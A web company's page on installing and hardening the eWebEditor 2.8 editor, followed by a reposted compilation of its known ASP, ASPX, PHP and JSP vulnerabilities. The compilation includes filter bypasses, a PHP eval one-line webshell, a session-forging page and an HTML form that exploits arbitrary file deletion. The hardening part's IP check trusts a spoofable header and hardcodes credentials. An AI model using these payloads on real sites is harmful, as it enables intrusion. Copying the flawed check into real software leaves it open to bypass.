asp中常用的编辑器eWebEditor2.8的漏洞

2015/6/9

第一步:下载eWebEditor2.8 修正版
下载地址http://ewebeditor.webasp.net/download.asp
解压放到项目文件目录下. 为了方便使用我把文件改名为ewebeditor
第二步:修改相关调用到编辑器的ASP文件
<iframe ID="Editor" src="ewebeditor/ewebeditor.asp?Id=NewsContent&style=s_newssystem" frameborder="0" scrolling="no" width="100%" HEIGHT="100%"></iframe>

第三步:修改eWebEditor编辑器
1,使之支持插入分页符
打开eWebEditor/db/ewebeditor.mdb =>
打开eWebEditor_Button表=>
在倒数的21行
B_Title 字段的值为”显示或隐藏指导方针”修改为”插入系统分页符”
B_Event 字段的值为” showBorders()”修改为” insert('SplitPage')”
打开 WebEditor/Include/Editor.js
在777行之前插入
        case "SplitPage":                        // 插入分页符
                insertHTML("<HR sysPageSplitFlag>");
                break;
2,修改编辑器上传文件的保存路径
打开eWebEditor_Style表
找到你使用的样式所在的行,我用的是s_newssystem 修改 S_UploadDir 字段的值
我是改成../../../UpLoadFiles/
这样我用编辑器上传的图片等都会在根目录的UpLoadFiles文件夹下.
第四步:编辑器的安全性
1、先用admin登录到后台,修改密码,然后删除admin_login.asp文件,如果不需要上传的话,最好连upload.asp也一起删除掉。

2、删除Manage/ Library/ ewebeditor文件夹下所有以Admin_开头的文件.
删除Admin文件夹(里面是对我们无用的图片),删除Example 文件夹(eWebEditor示例).
以下是我的个人总结,只代表个人观点

1.修改eWebEditor的数据库名字.

2.删除eWebEditor后台管理文件

3.修改Upload.asp文件

在Upload.asp文件里面,找到这句话sAllowExt = Replace(UCase(sAllowExt), "ASP", "")

把这句话替换为
Do While InStr(sAllowExt, "ASP") or InStr(sAllowExt, "CER") or InStr(sAllowExt, "ASA") or InStr(sAllowExt, "CDX") or InStr(sAllowExt, "HTR")
   sAllowExt = Replace(sAllowExt, "ASP", "")
   sAllowExt = Replace(sAllowExt, "CER", "")
   sAllowExt = Replace(sAllowExt, "ASA", "")
   sAllowExt = Replace(sAllowExt, "CDX", "")
   sAllowExt = Replace(sAllowExt, "HTR", "")
   sAllowExt = Replace(sAllowExt, "CGI", "")
   sAllowExt = Replace(sAllowExt, "ASPX", "")'
   sAllowExt = Replace(sAllowExt, "ASP .JPG", "")
   sAllowExt = Replace(sAllowExt, "CER .JPG", "")
   sAllowExt = Replace(sAllowExt, "ASA .JPG", "")
   sAllowExt = Replace(sAllowExt, "CDX .JPG", "")
   sAllowExt = Replace(sAllowExt, "HTR .JPG", "")
   sAllowExt = Replace(sAllowExt, "CGI .JPG", "")
   sAllowExt = Replace(sAllowExt, "ASPX .JPG", "")  
Loop
EWebEditor漏洞改进方法:
1.在EWebEditor中加入IP控制
<%
''建立连接
dim conn,connstr
connstr="driver={sql server};server=.;uid=yst06;pwd=yst06;database=yst06"
set conn=Server.Createobject("ADODB.Connection")
conn.open connstr
''***************************************************
''功能:实现字符长度的控制
''参数:cutstr
''***************************************************
function cutstr(tempstr,tempwid)
if len(tempstr)>tempwid then
cutstr=left(tempstr,tempwid)&"..."
else
cutstr=tempstr
end if
end function
userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip = "" Then
userip = Request.ServerVariables("REMOTE_ADDR")
end if
userip=cstr(userip)
''Response.write userip&"<br>"
''Response.write Instr(userip,"*")-2
''Response.End()
''ip="210.29.168.123"
''Response.write Instr(ip,"*")
''Response.end()
set rs=server.createobject("adodb.recordset")
sql="select * from IP where state=1"
rs.open sql,conn,1,1
do while not rs.eof
TrustIp = Trim(Rs("IP"))
if Instr(TrustIp,"*")=0 then
if TrustIp = userip then
UserIpTrusted = True
exit do
else
rs.movenext
end if
else
Position=Instr(TrustIp,"*")-2
if left(TrustIp,Position) = left(userip,Position) then
UserIpTrusted = True
exit do
else
rs.movenext
end if
end if
loop
if UserIpTrusted = False then
Response.write "<script language=''javascript''>alert(''非法的IP登录,请与管理员联系!'');location.href=''../index.asp'';</script>"
end if
%>
2.更改EWebEditor文件夹名称
比较麻烦,尚未实现
3.修改EWebEditor管理后台(用户名/密码/允许文件上传类型)
4.修改EWebEditor中文件过滤类型asp,cer,cdx,htr,stm,asa(Upload.asp)
'' 任何情况下都不允许上传asp,CER,ASA,CDX,HTR,stm脚本文件
sAllowExt = Replace(Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), "ASP", "**"), "CER", "**"), "ASA", "**"), "CDX", "**"), "HTR", "**"),"stm","**")(这个不建议,还是用上面其它人写的过滤代码吧)
5.修改EWebEditor的数据库路径,并在Include/Startup.asp中更改连接语句。
[转]Ewebeditor漏洞整理
既然昨天讲了ewebeditor的漏洞利用,好人做到底,我花了半天的时间整理了一下目前网上流传比较广泛的漏洞,涉及其4个版本,累啊。
官方介绍:eWebEditorTM 是什么? 在线HTML编辑器!
eWebEditor是基于浏览器的、 所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件(如:Word)所具有的强大可视编辑功能。 WEB开发人员可以用她把传统的多行文本输入框<TEXTAREA>替换为可视化的富文本输入框,使最终用户可以可视化的发布HTML格式的网页内容。eWebEditor!已基本成为网站内容管理发布的必备工具!
如果有兴趣的话去官方了解详情:http://www.ewebeditor.net/
这个编辑器按脚本分主要有4个版本,ASP/ASPX/PHP/JSP 每个版本都有可以利用的漏洞。
判断网站是否使用了eWebEditor
查看程序源代码,看看源码中是否存在类似“ewebeditor.asp?id=”语句,只要有此语句的存在,就能判断网站确实使用了WEB编辑器。另外一种方法就是站上新闻或者其他板块上找图片、附件等的链接,是否为admin/eWebEditor/UploadFile/xxxx.jpg之类格式。
安全漏洞
管理员未对编辑器的数据库路径和名称进行修改,导致可以利用编辑器默认路径直接对网站数据库进行下载。
管理员未对编辑器的用户登录路径进行修改,导致黑客可以利用网站数据库所获得的用户名和密码直接登陆编辑器管理后台。
该WEB编辑器上传程序存在的安全漏洞。
ASP版
关键文件的名称和路径
这个版本其实个人感觉是影响最大,使用最多的一个了吧,早期很多asp站都用这个,当然现在也是大量的存在的。。。
几个关键文件的名称和路径:
Admin_Login.asp 登录页面
Admin_Default.asp 管理首页
Admin_Style.asp
Admin_UploadFile.asp
Upload.asp
Admin_ModiPwd.asp
eWebEditor.asp
db/ewebeditor.mdb 默认数据库路径
默认用户名密码
一般用这个的默认后台的URL都是默认的:
www.xxx.com/admin/ewebeditor/login_admin.asp
类似:
www.xxx.com/ewebeditor/login_admin.asp
www.xxx.com/admin/eweb/login_admin.asp
www.xxx.com/admin/editor/login_admin.asp
而且账户和密码也基本都是默认的:admin admin(admin888)
下载数据库
还有如果默认的账户和密码修改了,我们可以下载他的数据库,然后本地破解MD5了
默认数据库:…/db/ewebeditor.mdb 或者 …/db/ewebeditor.asp,一般下载数据库后打开察看就可以了。
文件上传
登录后台后,点击“样式管理”,随便选择列表中底下的某一个样式。注意:eWebEditor自带的样式是不允许修的,当然你也可以拷贝一个新的样式来设置。在上传的“其它类型”中增加“asa”类型:接下来把免杀的ASP木马的后缀名改成asa,返回管理首页,点击“预览”,然后选择“插入其它文件”的按钮进行ASP木马的上传:上传的ASP木马就在“UploadFile”文件夹里。
如果加了asa类型后发现还是无法上传。应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)一句上修改,我就看见过一个站长是这样修改的:sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”, “”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。
如果上述两种方法都失败了,则利用eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。(此方法未经测试,个人感觉利用率不高)
有的站数据库设置了只读属性,这样的站你是无法新加样式的,这样的站你可以看他数据库里的样式设置情况,一般很多时候都是让人给拿过的,而且明显的asa在那里。这样的话就可以直接构造一个调用这个样式的连接来上传shell。
比如发现数据库里有样式 123 他设置的是可以上传asa的话那么就可以这样调用:
http://www.xxx.com/eWeb/eWebEditor.asp?id=contentCN&style=123
这样就可以直接上传了,然后在点“编辑”就会找到shell的路径了.其实这个漏洞主要是upload.asp的过滤不严造成的,新版的应该都修复了,具体受影响的版本我也没统计过.
遍历路径
ewebeditor遍历路径漏洞(当数据库只读的时候)ewebeditor/admin_uploadfile.asp?id=14在id=14后面添加&dir=..再加 &dir=../..或&dir=http://www.xxxxx.com/../.. 看到整个网站文件了, 不过此项在测试的时候发现,只有登录成功才能进行这项操作。
Cookie漏洞
漏洞文件:Admin_Private.asp.
漏洞语句:
<% If Session(”eWebEditor_User”) = “” Then
Response.Redirect “admin_login.asp”
Response.End
End If
只判断了session,没有判断cookies和路径的验证问题。
漏洞利用:
新建一个mrchen.asp内容如下:
<%Session(”eWebEditor_User”) = “11111111″%>
访问mrchen.asp,再访问后台任何文件,for example:Admin_Default.asp这个拿shell的方法就简单了.
ASPX版
Javascript文件上传
受影响文件:eWebEditorNet/upload.aspx
原理:代码
<form id=”post” encType=”server”>
“uploadfile” style=”file” size=”uploadfile” runat=
“lbtnUpload” runat=
“JavaScript”>
只是简单的对ID进行验证,只要构造javascript:lbtnUpload.click();满足条件达到上传木马的效果。
利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell,绕过了限制,成功上传ASPX文件, 。成功以后查看源代码代码
a “lbtnUpload” “javascript:__doPostBack(’lbtnUpload’,”)”</>script ‘javascript’</>
文件默认的上传后保存的地址是eWebEditorNet/UploadFile/,看看是否上传成功.
PHP版
关于eWebEditor 漏洞php版本的和asp的一样。有目录浏览。和编辑扩展名。重点在于虽然支持了php格式但上传还是上传不了。不过利用织梦的gif89a漏洞倒可以实现php一句话上传,然后再上传webshell。
备注:织梦的gif89a漏洞,准确来说应该是DEDECMS中所用的php版的FCKeditor存在上传漏洞,gif89a文件头欺骗。DEDECMS中在上传拖上没有对picSubmit进行任何处理。但是却不能直接上传php马。因为会识别。使用修改过的php小马。
gif89a
<?php
phpinfo();
?>
RFI
gif89a
<?php
eval($_POST[c]);
?>
利用gif89a进行了欺骗。现在上传就可以成功了.然后有php一句话客户端连接.
JSP版
上传漏洞
影响版本:漏洞存在于ewebeditor jsp版 1.4以下版本,漏洞有两个版本。
原理:第一个是使用savefile.jsp来进行文件上传操作的,从代码中可以看出,程序并没做任何上传过滤,这样我们就可以直接上传一个JSPShell了。另一个版本可能是被人修改过,把代码转成了servlet,不能看到代码,但是利用方法却大同小异。
利用方法:我们先找一个1.4版本以下的ewebeditor JSP上传页面,选择好一个JSPShell。这个ewebeditor是没有提交按钮的,所以这里涉及到一个小技巧,就是在上传的对话框中敲下回车,大约过半分钟,就可以查看网页的源文件来寻找我们的Webshell了。
解决方法
1.修改admin密码;
2.upload.asp中的:
“任何情況下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
改为:
“任何情況下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
sAllowExt = Replace(UCase(sAllowExt), “ASA”, “”)
sAllowExt = Replace(UCase(sAllowExt), “CER”, “”)
sAllowExt = Replace(UCase(sAllowExt), “AASPSP”, “”)
sAllowExt = Replace(UCase(sAllowExt), “CDX”, “”)
sAllowExt = Replace(UCase(sAllowExt), “HTR”, “”)
3. Admin_Private.asp:
If Session(”eWebEditor_User”) = “” Then
Response. Redirect “admin_login.asp”
Response. End
End If
改为:
If Session(”eWebEditor_User”) = “” and IsSelfRefer() Then
Response.Redirect “admin_login.asp”
Response.End
End If
4.将db/ewebeditor.mdb数据库文件名改为其他包含#等字符的文件名;
5. 将IIS中的“应用文件映射”中的“asp”删除;
6. 仍有问题删除admin_login.asp文件。
2009年3月补充:
Ewebeditor2.8.0最终版删除任意文件漏洞
这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!
此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
‘ 把带”|”的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, “|”)
‘ 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
‘ 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs(”D_SavePathFileName”)
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form(”d_savepathfilename”))

oRs(”D_SavePathFileName”) = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), “‘”, “”), Chr(34), “”), “;”, “”)
End Function
无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!
下面给出利用的htm:
<HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.ehometu.com )</TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href=’list.asp’>新闻列表</a> | <a href=’add.asp’>增加新闻</a>
<b>增加新闻</b>
<form action=”http://127.0.0.1/editor/Example/NewsSystem/addsave.asp”
method=”post” name=”myform”>
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type=”text” name=”d_savepathfilename” value=”" size=”90″></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type=”text” name=”d_title” value=”" size=”90″></td>
</tr>
<tr><td>标题图片:</td>
<td><select name=”d_picture” size=1><option value=”>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name=”d_content”></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=” 提 交 ”>
<input type=reset name=btnReset value=” 重 填 ”>
</form>
</BODY></HTML>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

 

TEL:132-0912-4949 TEL:0912-5262263
关于我们 | 加入我们 | 建站流程 | 常见问题 | 备案问题 | 相关下载 | 付款方式 | 网站地图   COPYRIGHT @ 2009-2019 wrotech.net   陕ICP备09020045号
榆林网瑞科技多年网站建设、软件开发服务经验,致力于为成长型企业信息化服务,网瑞科技在榆林率先开创了信息化服务的4S模式,以高端设计为切入点,向成长型企业提、网站设计、网站制作、软件开发等一站式信息化整体解决方案。>榆林网站建设  榆林做网站  榆林软件设计  榆林APP开发